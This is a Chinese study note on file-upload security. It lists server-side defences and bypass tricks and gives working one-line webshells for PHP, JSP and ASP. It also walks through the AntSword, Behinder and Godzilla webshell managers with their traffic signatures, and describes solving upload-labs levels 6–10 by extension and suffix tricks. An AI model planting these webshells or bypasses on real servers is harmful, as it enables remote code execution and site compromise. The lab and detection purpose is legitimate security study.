文章目录
一、文件上传防御手段及绕过手段
1.文件上传防御手段
限制文件类型:只允许上传特定类型的文件(如 .jpg, .pdf),通过检查文件扩展名和 MIME 类型。
文件大小限制:限制上传文件的最大尺寸,以防止文件过大导致的资源消耗。
JS前端校验文件类型:在文件选择阶段,通过JavaScript(JS)对文件类型进行初步校验,减少后端处理压力。使用<input type="file" accept="...">
标签的accept属性限制用户只能选择特定类型的文件。编写JS函数,在文件选择后通过文件扩展名或MIME类型(file.type)进行校验。对于更严格的校验,可以读取文件的前几个字节(文件签名)来判断文件类型。
文件存储位置:将上传的文件存储在安全位置,例如非公开目录,避免直接访问。
校验上传文件内容:对上传文件进行病毒扫描,以防止恶意软件传播。对特定类型的文件(如脚本文件)进行内容解析,检查是否存在危险代码。
设置可执行目录白名单:明确指定哪些目录是可执行的,防止上传的文件被误执行。在服务器上设置可执行目录的白名单。确保只有白名单中的目录具有执行权限。
校验上传文件路径:确保上传的文件不会被存储在可执行的目录下,防止被当作脚本执行。将上传的文件存储在非可执行的目录下,禁止上传的文件具有执行权限。
校验请求头Content-Type字段:检查HTTP请求头中的Content-Type字段,确保其与上传的文件类型一致。在后端接收文件时,检查Content-Type字段是否匹配文件类型。如果不匹配,则拒绝上传。
限制访问:确保上传的文件只能由授权用户访问,避免公开暴露。
文件上传后以时间戳方式重写文件名:为了防止文件名冲突和猜测文件名进行攻击,使用时间戳作为文件名的一部分。 在文件上传时,生成一个包含时间戳的唯一标识符。将这个唯一标识符与原始文件名结合,生成新的文件名。
2.文件上传绕过手段
大/双写文件名绕过:通过修改文件名(如添加空格、双写扩展名等)来绕过文件类型校验。
示例:将1.php修改为1.php.jpg或1.php .jpg。
修改文件后缀名:通过修改文件的后缀名来绕过基于文件扩展名的校验。
示例:将malicious.php修改为malicious.jpg并上传,然后尝试通过其他方式执行该文件。
恶意文件内容以多段拼凑/拆解的形式组合:将恶意代码分散在文件的多个部分,避开简单的内容扫描。
示例:将恶意代码隐藏在图片文件的末尾或中间部分。
文件竞争绕过:利用文件上传和处理的时间差,上传恶意文件并快速执行。
示例:在文件上传后,利用文件处理的时间窗口快速访问并执行恶意文件。
目录穿越到可执行目录:通过构造特殊的文件路径,将文件上传到可执行目录下。
示例:上传文件时指定路径为…/executable/,尝试穿越到可执行目录。
大小写绕过:利用系统对文文名大小写的不敏感性,绕过基于文件扩展名的校验。
示例:将malicious.PHP(大写PHP)上传到只检查小写扩展名的系统。
修改MIME类型:通过修改HTTP请求头中的MIME类型字段,绕过MIME类型校验。
示例:将Content-Type字段修改为image/jpeg,但实际上传的是PHP脚本。
图片木马:将恶意代码隐藏在看似正常的图片文件中,通过特殊手段触发执行。
示例:在JPEG图片中嵌入PHP代码,并修改图片文件头以绕过校验。
文件包含绕过:利用服务器上的文件包含漏洞,执行上传的恶意文件。
示例:通过上传包含恶意代码的文件,并利用文件包含漏洞将其包含到PHP脚本中执行。
二、文件上传常用一句话木马
PHP
1.<? php @eval($_POST['cmd']) ;? >
2.<? php assert($_POST['cmd' ]) ;? >
JSP
<%if (request. getParameter("f") != null(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request. getParameter("t"). getBytes ()) ; %>
ASP
1.<%eval request("cmd") %>
2.<%execute(request("cmd") ) %>
三、三种webshell管理工具的使用方法
1.中国蚁剑
在代理设置里首先配置代理
生成木马,编辑一句话木马
连接webshell,密码cmd
连接成功后打开文件管理随便打开几个文件
用burpsuit抓包,查看流量特征
抓包后会发现每个请求体都存在以@ini_set(“display_errors”,“0”);@set_time_limit(0)开头的字符串
2.冰蝎
点击 “传输协议”,选择协议名称,点击生成服务端,生成木马
点击“代理”,选择“启用”,选择“HTTP”,配置代理服务器,点击“保存”
右键点击添加,输入webshell的地址,和刚才配置一致,点击保存
连接成功后用bp抓包,连接后随便点几个目录文件,查看流量特征
冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,且响应体的返回结果全部为base64(当然也和选择的传输协议有关)。
3.哥斯拉
点击“目标”,“添加”,填“入密码”,配置加密方式,上传木马
输入webshell的地址,配置密码、密钥、代理、载荷加密类型等等
用bp抓包
哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。
四、文件上传无回显如何查找webshell地址
1.通过了解服务器配置,确认服务器的文件上传目录,有的会有固定的上传路径。
2.查看上传后的HTTP响应头,有时响应头中可能包含一些文件上传状态的信息。
3.直接尝试在浏览器中输入URL访问上传的文件
4.使用一些漏扫工具查找可能的webshell路径
五、文件上传表单的无参/有参情况下构造表单
1.无参情况下只需构造一个基本的文件上传表单:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<form action="/upload" method="post" enctype="multipart/form-data">:
定义了一个表单,表单数据将通过 POST 方法发送到 /upload URL
enctype="multipart/form-data"
表示表单可以包含文件数据。
<input type="file" name="file" />:
允许用户选择一个文件进行上传,文件的字段名为 file。
<input type="submit" value="Upload" />
:提交表单的按钮,点击后会上传所选择的文件到服务器。
2.有参情况下如果需要同时上传文件和附加数据(如描述),可以在表单中添加其他输入字段:
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="text" name="description" placeholder="Enter description" />
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<input type="text" name="description" placeholder="Enter description" />:
一个文本框,用户可以在此输入描述信息,字段名为 description。
<input type="file" name="file" />:
一个文件选择框,用户可以选择一个文件进行上传,字段名为 file。
<input type="submit" value="Upload" />
:提交按钮,点击后会将表单数据(包括描述和文件)发送到 /upload URL。
六、upload-labs靶场通关第6-第10关
Level 6
直接上传提示该文件类型不允许上传
用burp抓包,尝试修改Content-Type字段为image/png,页面渲染提示仍不允许上传
然后试了几种方法,发现把后缀名php改成大写就可以上传了
Level 7
试了后缀换大写没有成功,看了看这关的源码,发现比较白名单前已被转为小写
试了试后缀名加空格,成功了
发现上传的文件被改名了
浏览器按地址访问
Level 8
提示说禁止上传所有可解析的后缀,上传文件时burp抓包
试了几种方法,在后缀名后面加点通过了
浏览器访问
Level 9
查看这道题的源码,这里我们使用 绕过,(windows遇见后缀::$DATA,会把它当作文件流处理,不再检查后缀)
burp抓包在里面更改
上传成功
浏览器访问,windows会自动把后缀的DATA删除
Level 10
首先查看源码
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。于是我们抓包,改后缀名为.php. . ,就可以保留.php
浏览器访问